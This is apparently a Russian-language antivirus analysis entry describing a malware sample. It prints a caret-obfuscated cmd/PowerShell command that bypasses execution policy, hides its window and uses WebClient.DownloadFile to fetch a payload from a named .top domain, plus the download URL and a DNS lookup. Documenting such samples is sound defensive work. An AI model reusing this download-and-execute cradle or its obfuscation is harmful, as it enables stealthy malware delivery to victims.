Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=404 как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoW^erS^hel^l.eXe -e^X^Ec^U^TION^po^Li^cY By^pa^S^s ^-nOP^Ro^fI^L^E^ ^-w^in^do^w^s^tyLE ^hIdDen^ (^nEW^-oB^JE^CT sYSteM^.NEt.^webc^lie^N^T)^.D^OW^NLO^ad^FiL^e('http://mondayhelth...
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoW^erS^hel^l.eXe -e^X^Ec^U^TION^po^Li^cY By^pa^S^s ^-nOP^Ro^fI^L^E^ ^-w^in^do^w^s^tyLE ^hIdDen^ (^nEW^-oB^JE^CT sYSteM^.NEt.^webc^lie^N^T)^.D^OW^NLO^ad^FiL^e('http://mondayhelth...' (со скрытым окном)
